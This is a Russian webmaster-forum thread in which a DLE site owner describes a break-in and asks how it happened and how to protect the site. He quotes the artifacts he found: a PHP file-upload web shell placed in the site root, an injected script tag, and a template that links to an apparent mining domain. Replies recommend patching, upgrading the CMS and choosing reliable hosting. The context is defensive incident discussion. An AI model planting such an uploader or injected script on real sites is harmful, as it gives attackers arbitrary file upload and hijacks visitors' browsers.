Скрыть объявление
ВАШИ ПРАВА ОГРАНИЧЕНЫ!

Зарегистрируйтесь на форуме, чтобы стать полноценным участником сообщества!

Вопрос? Как взломали сайт? как защититься?

Тема в разделе "Вопросы- ответы", создана пользователем uskino, 27 дек 2017.

27.12.17 в 09:12
27.12.17 в 20:59
7
800
0
  1. TopicStarter Overlay
    uskino

    PRO Users

    Регистрация:
    20 окт 2015
    Сообщения:
    762
    Лучших ответов:
    1
    Рейтинги:
    +174 / 23 / -0
    В общем ситуация такая. Стоит лиц. dle 10.2 версии, все доступные баг-фиксы сделаны. В один прекрасный день отдыха чисто по случайности заметил, что траф хорошенько так упал с яшки, аж в два раза. Перекрестился, что не в конце отдыха и написал Платону. А он говорит санкции за плохое качество мобильных страниц и мол идите проверяйте на подписки и т.д.
    Ну я начал ковыряться, нашел скрипт на главной странице левый вот с таким содержимым:
    Код:
    <script type="text/javascript" src="/rkt.php?yab=true&key=3294b9f3bd44c4b"></script>
    Самого этого файла у меня на сервере не было.

    По мимо кода, еще были залиты файлы в корень с таким содержимым:
    Код:
    <?php
    echo "Path: ".dirname(__FILE__)."<br>";
    if (isset($_POST['dir']) && isset($_FILES['uploadfile']['name']))
    {
        $uploaddir = $_POST['dir'];
        $uploadfile = $uploaddir.basename($_FILES['uploadfile']['name']);
        if (copy($_FILES['uploadfile']['tmp_name'], $uploadfile))
            echo "UPLOAD COMPLITED";
        else  echo "UPLOAD ERROR";
    }
    ?>
    <form action="" method="post" enctype="multipart/form-data">
    UploadDirPath:<input type="text" name="dir" value = "<?php echo "./"; ?>"><br>
    <input type="file" name="uploadfile"><br>
    <input type="submit" value="UP">
    </form>
    Я так понял этот скрипт может че угодно на сайт залить в корень.

    Код:
    <!DOCTYPE html>
    <html lang="ru" prefix="og: Open Graph protocol
                  video: http://ogp.me/ns/video#
                  ya: http://webmaster.yandex.ru/vocabularies/" >
    <head>
        <meta name="viewport" content="user-scalable=no, initial-scale=1.0, maximum-scale=1.0, width=device-width">
        {headers}
        <link rel="shortcut icon" href="/favicon.ico"/>
        <meta name="revisit-after" content="1 days">
        <link href="/uploads/play.png" rel='image_src'/>
        <link rel="stylesheet" href="{THEME}/css/mini.css">
        <link rel="stylesheet" href="{THEME}/css/style.css">
        <link rel="stylesheet" href="{THEME}/css/engine.css"><script src="//yadropro.ru/bigcinema-onlineru"></script>
        {include file='engine/metagen.php?a=get&r=name&t=<meta {r}="{p}" content="{v}"/>'}
        {include file='engine/metagen.php?a=get&r=property&t=<meta {r}="{p}" content="{v}"/>'}
    </head>
    <body>
    {AJAX}
    <div class="inner row">
        <div id="header">
            <div class="col l3 m4 s12 first">
                <div class="logo">
                    <a rel="nofollow" id="mainlogo" title="Сериалы онлайн" href="/"></a>
                </div>.
            </div>
    
            <div class="col l6 m4 s12 middle">
                {include file="topmenu.tpl"}
                <div class="clear"></div>
                <div class="message">
                
    
                
                </div>
            </div>
    
            <div class="col l3 m4 s12">
                <div class="socik">
                    <noindex>
                    <script type="text/javascript" src="//yastatic.net/share/share.js" charset="utf-8"></script>
                    <div class="yashare-auto-init" data-yasharel10n="ru" data-yasharetype="small" data-yasharequickservices="vkontakte,facebook,twitter,odnoklassniki,gplus" data-yasharetheme="counter">
                    </div>
                    </noindex>
                </div>
                {login}
            </div>
    
            <div class="clear"></div>
        </div>
    
        <div class="mob-menu">Навигация по сайту</div>
    
        <div class="podhead l12 m12 s12">
    
            <div class="col l7 m6 s12">
                [aviable=main]
                <h1 class="tag_title">Фильмы и сериалы 2018 смотреть онлайн</h1>
                [/aviable] [not-aviable=main]
                <div class="tag_title">
                    Фильмы и сериалы 2018 смотреть онлайн
                </div>
                [/not-aviable]
            </div>
    
            <div class="col l5 m6 s12 poisk">
                <div class="search">
                    <form method="post">
                        <input type="hidden" name="do" value="search">
                        <input type="hidden" name="subaction" value="search">
                        <input name="story" placeholder="Поиск..." type="text" class="f_search">
                        <input type="submit" class="bigbtn" value="Найти">
                    </form>
                </div>
            </div>
    
            <div class="clear"></div>
        </div>
    
    [aviable=main]
        <div class="slider">
            <div class="tophot row">
                {custom xfields="slider" template="justify" category="1-50" order="date" limit="6" cache="no"}
            </div>
            <div class="clear"></div>
        </div>
    [/aviable]
    
        <div class="col l8 m7 s12 maincont">
    
        [not-group=1,2,3,4]
            
    <center><iframe width="600" height="330" src="//utraff.com/index.php?r=iframe/index&id=1521" frameborder="0" scrolling="no"></iframe></center>
            
                [/not-group]
     
            [aviable=main|cat|xfsearch]
            <div class="xsort-area ignore-select">
                <div>Сортировать по:</div>
                {include file="engine/mods/xsort/selected.php"}
            </div>
            [/aviable]
        
            [aviable=showfull]{speedbar}[/aviable]
    
            [aviable=cat]{include file="category.tpl"}[/aviable]
    
            {content}{info}
    
        </div>
    
        <div class="col l4 m5 s12 sidebar">
            {include file="sidebar.tpl"}
    <!--
            <div class="popul">
                <div class="title">Популярные фильмы</div>
                {custom xfields="skorof" template="justify1" category="1-50" order="date" limit="6"}
            </div>
    -->
            [not-group=1,2,4]
            <noindex>
            [banner_tizer_p]
    {banner_tizer_p}
    [/banner_tizer_p]
            </noindex>
            [/not-group]
        </div>
    
    
    
        <div class="col l12 m12 s12">
            [aviable=main]
            <div class="mainbot">
        
            </div>
            [/aviable]
            [aviable=cat|main]{include file="engine/modules/catface.php"}[/aviable]
        </div>
    
        <div class="col l12 m12 s12 footer">
            <div class="links">
                <a rel="nofollow" target="_blank" href="/" title="BigCinema">Главная</a> |
                <a rel="nofollow" target="_blank" href="/serialy/" title="Смотреть сериалы онлайн">Сериалы</a> |
                <a rel="nofollow" target="_blank" href="/sitemap.xml" title="Карта сайта">Карта сайта</a>
            </div>
        <!--LiveInternet counter--><script type="text/javascript">
    document.write("<a href='//www.liveinternet.ru/click' "+
    "target=_blank><img src='//counter.yadro.ru/hit?t57.6;r"+
    escape(document.referrer)+((typeof(screen)=="undefined")?"":
    ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
    screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
    ";"+Math.random()+
    "' alt='' title='LiveInternet' "+
    "border='0' width='88' height='31'><\/a>")
    </script><!--/LiveInternet-->
            <div class="copy">
                Serial-smotret.online - Фильмы и сериалы 2017 смотреть онлайн без регистрации и в хорошем качестве HD 720
            </div>
    
            <div class="li">
        
            </div>
        </div>
    
    </div>
    
    
    <script type="text/javascript">
    $(document).ready(function() {
    
        var winBr = $(window).width();
        if(winBr<800){
            $(".podhead").prepend( $(".top_film") );
        }
    
    
        $(".mob-menu").click(function() {
            $(".top_film").slideToggle();
        });
    
        $(".mob-user").click(function() {
            $(this).slideToggle();
            $(".userinout").slideToggle();
        });
    });
    </script>
     
     
        <noindex>
        <script type="text/javascript" src="/engine/classes/min/index.php?charset=windows-1251&amp;f={THEME}/js/tabs.js,{THEME}/js/tabsfull.js,{THEME}/js/tr.js&amp;7"></script>
        <script type="text/javascript" src="{THEME}/js/soon.js"></script>
    
    
    
        <!-- Yandex.Metrika counter -->
    <script type="text/javascript">
        (function (d, w, c) {
            (w[c] = w[c] || []).push(function() {
                try {
                    w.yaCounter34984820 = new Ya.Metrika({
                        id:34984820,
                        clickmap:true,
                        trackLinks:true,
                        accurateTrackBounce:true,
                        webvisor:true
                    });
                } catch(e) { }
            });
    
            var n = d.getElementsByTagName("script")[0],
                s = d.createElement("script"),
                f = function () { n.parentNode.insertBefore(s, n); };
            s.type = "text/javascript";
            s.async = true;
            s.src = "https://mc.yandex.ru/metrika/watch.js";
    
            if (w.opera == "[object Opera]") {
                d.addEventListener("DOMContentLoaded", f, false);
            } else { f(); }
        })(document, window, "yandex_metrika_callbacks");
    </script>
    <noscript><div><img src="https://mc.yandex.ru/watch/34984820" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
    <!-- /Yandex.Metrika counter -->
    </div></noindex>
    
    [not-group=1,2,3,4][banner_brend]
    {banner_brend}
    [/banner_brend][/not-group]
    
    <script>
    function xsort_empty(){
        $("#dle-content").html('<div class="xsort_empty">Ничего не найдено</div>');
    }
    
    $(document)
    .on('click','.xsort-selected',function(e){
        var ul = $(this).parents('.xsort-div').find('.xsort-ul');
        var d = ul.css('display');
        $('.xsort-ul').hide();
        if(d=='none') ul.slideDown(200);
    //    var litop = ul.find('li.current')[0].offsetTop-31;
    //    ul.animate({'scrollTop':litop+'px'},100);
        return false;
    })
    .on('click','.xsort-ul li',function(){
        $this = $(this);
        var text = $this.text();
        var val = $this.data('val');
        var field = $this.parents('.xsort-ul').data('field');
        var sel = $this.parents('.xsort-div');
        if(val!=='') sel.addClass('xsort-active');
        else sel.removeClass('xsort-active');
        sel = sel.find('.xsort-selected');
        var url = window.location.href;
        if(field=='defaultsort'){
            $this.siblings().removeClass('xasc xdesc');
            sel = sel.find('span');
            if(val!==''){
                if($this.hasClass('xdesc')){
                    $this.removeClass('xdesc').addClass('xasc');
                    sel.attr("class","xasc");
                }else{
                    $this.removeClass('xasc').addClass('xdesc');
                    sel.attr("class","xdesc");
                }
            }else{
                sel.removeClass('xasc xdesc');
            }
        }else{
            if($(this).hasClass('current')){
                $this.parents('.xsort-ul').find('li').eq(0).click();
                return false;
            }
        }
        sel.html(text);
        $this.addClass('current').siblings().removeClass('current');
    
        if(url.indexOf('/page/')>=0){
            url = url.split('/page/');
            url = url[0]+'/';
        }
        ShowLoading();
        $(".berrors").remove();
     
        $.ajax({
            url: url,
            type: "POST",
            method: "POST",
            data: {xsort:1,xs_field:field,xs_value:val}
        }).done(function(d){
            HideLoading();
            var html = $("#dle-content",d).html();
            if(html){
                $("#dle-content").html(html);
                if(url != window.location.href) window.history.pushState(null, null, url);
            }else xsort_empty();
        }).fail(function(d){
            HideLoading();
            xsort_empty();
        })
    })
    .on('click','body:not(.xsort-ul)',function(){
        $('.xsort-ul').fadeOut(100);
    })
    .on('click','.xsort-div-filler',function(){
        ShowLoading();
        $('#xsort-admin').remove();
        $('body').append('<div id="xsort-admin" title="Поиск и формирование списка значений доп. полей" style="display:none;"/>');
        $.post(dle_root+"engine/mods/xsort/admin.php",{do:'start'},function(d){
            HideLoading();
            $('#xsort-admin').html(d).dialog({
                width: '600px',
                buttons: {
                    'Закрыть':function(){
                        $(this).dialog('close');
                    }
                }
            });
        })
    })
    .on('click','.xsort-admin-area ul li',function(){
        var ul = $(this).parents('ul');
        ul.addClass('loading');
        if(!$(this).hasClass('current')) $(this).removeClass('xreverse');
        var reverse = $(this).hasClass('xreverse');
        $(this).toggleClass('xreverse');
        $(this).addClass('current').siblings().removeClass('current');
        $.post(dle_root+"engine/mods/xsort/admin.php",{field:$(this).data('field'),reverse:reverse},function(d){
            ul.removeClass('loading');
            $('.xsort-admin-area pre code').html(d);
        })
    })
    .on('click','.xsort-div-clearall',function(){
        var url = window.location.href;
        if(url.indexOf('/page/')>=0){
            url = url.split('/page/');
            url = url[0]+'/';
        }
        ShowLoading();
        $(".berrors").remove();
        $.ajax({
            url: url,
            type: "POST",
            method: "POST",
            data: {xsort:1,xs_field:'clearallfields'}
        }).done(function(d){
            HideLoading();
            window.location.href = url;
        }).fail(function(d){
            HideLoading();
            xsort_empty();
        })
    })
    </script>
    
    <!-- Yandex.Metrika counter --> <script type="text/javascript" > (function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter46971411 = new Ya.Metrika({ id:46971411, clickmap:true, trackLinks:true, accurateTrackBounce:true }); } catch(e) { } }); var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/javascript"; s.async = true; s.src = "https://mc.yandex.ru/metrika/watch.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window, "yandex_metrika_callbacks"); </script> <noscript><div><img src="https://mc.yandex.ru/watch/46971411" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <!-- /Yandex.Metrika counter -->
    <script type="text/javascript" src="/rkt.php?yab=true&key=3294b9f3bd44c4b"></script>
    </body>
    </html>

    Во втором спойлере тпл файл с названием "main.tpl" со ссылкой в описании на "serial-smotret.online" (там майнят если что, осторожно). Там же есть такой же скрипт, которые мне в main подключили. Мб что-то где-то подменялось и он грузился с этого сайта, а не с моего, поэтому его и не было у меня на сервере или как, не знаю, хз. Ответьте, кто шарит)

    Админы хостинга говорят, что пароли никто не спер 100%, а был залит шелл и дело тут в дырах в самой CMS. Но я всевозможные фиксы ставлю сразу, как только на глаза попадаются и на данный момент стоят все.

    Вот в принципе вся история. Пароли все естественно поменяны, все лишние файлы удалены с сервера.
    Вопросы:
    1. Что это вообще такое?
    2. Как это все дело могло попасть на сайт?
    3. Как лечить? Вдруг чего забыл.
    4. Что можно сделать на будущее, чтобы подобных проблем не было?
     
    #1 uskino, 27 дек 2017
    Последнее редактирование: 27 дек 2017
  2. byroot

    Забанен

    Регистрация:
    10 окт 2015
    Сообщения:
    12.295
    Лучших ответов:
    54
    Рейтинги:
    +5.206 / 74 / -0
    Могли взломать сервер и попасть к тебе.
    Может быть что-то в шаблоне в скриптах зашифровано.
    Может вирусы на компе у тебя.
    Может патчи не все своевременно ставил.
    ... и т.д.
     
  3. Alaster

    Alaster Бывалый

    Регистрация:
    4 янв 2016
    Сообщения:
    385
    Лучших ответов:
    1
    Рейтинги:
    +33 / 0 / -0
    патчи патчами, но лучше обновлять движек, ибо 10.2, но уже никуда не лезет, хотя бы 11.3 поставь
     
  4. TopicStarter Overlay
    uskino

    PRO Users

    Регистрация:
    20 окт 2015
    Сообщения:
    762
    Лучших ответов:
    1
    Рейтинги:
    +174 / 23 / -0
    После изучения логов хостер сказал, что 100% сервер не был взломан, дело в php скриптах. Шаб чистый на протяжении 5 лет используется уже. Так что варианты отпадают эти скорей всего.
    Патчи.... сейчас одуплил, что последний патч поставлен не был, там файлик masha заменить нужно было. Это всему беда скорей всего?
    Интересуют варианты контрацепции сайта от подобных вещей. Можно не бесплатно)

    Обновлять не лучший вариант, очень много технических переделок сделано. То есть 10.2 даже с патчами уязвима больше чем новые версии?
     
  5. Alaster

    Alaster Бывалый

    Регистрация:
    4 янв 2016
    Сообщения:
    385
    Лучших ответов:
    1
    Рейтинги:
    +33 / 0 / -0
    дело может быть и не только в движке, а и в модулях, поставил какой левый и бесплатный модуль вот результат.., а может быть патчи, если качал не с офф сайта
     
  6. DLEPlugins

    Кодер

    Регистрация:
    29 ноя 2015
    Сообщения:
    1.608
    Лучших ответов:
    8
    Рейтинги:
    +1.195 / 9 / -0
    Почему не вариант? Нанимаешь человека, он аккуратно все правки переносит со старой версии на новую. Новая 12.0. ваша устарела морально. Версии ниже 11 уязвимы
     
    • Нравится Нравится x 1
    • Согласен Согласен x 1
  7. TopicStarter Overlay
    uskino

    PRO Users

    Регистрация:
    20 окт 2015
    Сообщения:
    762
    Лучших ответов:
    1
    Рейтинги:
    +174 / 23 / -0
    Да потому что жадность)) Работы довольно много там придется сделать. Ладно, значит буду решать с обновками. Спасибо ;)
     
  8. ckau

    Команда форума VIP Кинотрафик v2

    Регистрация:
    5 май 2016
    Сообщения:
    1.273
    Лучших ответов:
    4
    Рейтинги:
    +480 / 45 / -0
    Как как, через дырявые хостинги ломают. Ломают в двух случаях, либо хостинг дырка и туда льют всё что не попадя, либо сами админы хостинга если это гавно без лицензии левачат. Как поставил свои сервера, лет 8 уже ни один сайт ни одной тематики не взламывали, при том что есть сайты которые еще на первой джумле фигачат, в последние 2 года сделал несколько киносайтов, по 100-200к посещалка, тоже никто не взламывает, просто доступ рутовый только у меня и лью только я любые файлы. Это как с антивирусом, когда ищут лучше, но ты не лазь по гавно-сайтам и не будет у тебя вирусов даже если у тебя нет антивируса.
    Единственная защита использовать хостинг, у которого есть лицензия и лицензия бьётся у ркн как реальная. Такой хост несет ответственность за ваши файлы и за то, что у вас лежит.
     
    • Согласен Согласен x 1
Похожие темы
  1. a_0200
    Ответов:
    31
    Просмотров:
    2.223
  2. Khumoyun
    Ответов:
    11
    Просмотров:
    2.814
  3. baykanur
    Ответов:
    17
    Просмотров:
    996
Загрузка...
Яндекс.Метрика